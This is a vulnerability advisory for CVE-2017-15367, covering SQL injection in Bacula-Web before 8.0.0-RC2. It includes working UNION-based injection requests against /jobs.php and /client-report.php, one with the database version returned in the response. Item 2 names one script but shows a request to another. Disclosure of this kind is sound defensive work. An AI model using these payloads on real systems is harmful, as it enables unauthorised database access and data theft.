Title: Multiple SQL injection vulnerabilities in Bacula-Web (CVE-2017-15367)
Credit: Gustavo Sorondo / http://www.cintainfinita.com
Vendor/Product: Bacula-Web (http://bacula-web.org/)
Vulnerability: SQL injection
Vulnerable version: All prior to 8.0.0-RC2.
Fixed in: 8.0.0-RC2
CVE: CVE-2017-15367

## Vulnerability Details

Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
vulnerabilities that could allow an attacker to access the Bacula database
and, depending on configuration, escalate privileges on the server.

1) The /jobs.php script is affected by a SQL Injection vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
HTTP/1.1

Response:
HTTP/1.1 200 OK
[...]
            <td>5.7.19-0ubuntu0.16.04.1</td>
            <td class="text-left">
             backupjob-report.php?backupjob_name=
[...]

Other parameters (eg. client_id) are also vulnerable, since there is no
protection against SQL Injections at all.

2) The /backupjob-report.php script is affected by a SQL Injection
vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23

3) The /client-report.php is affected by a SQL Injection vulnerability in
the "client_id" parameter.
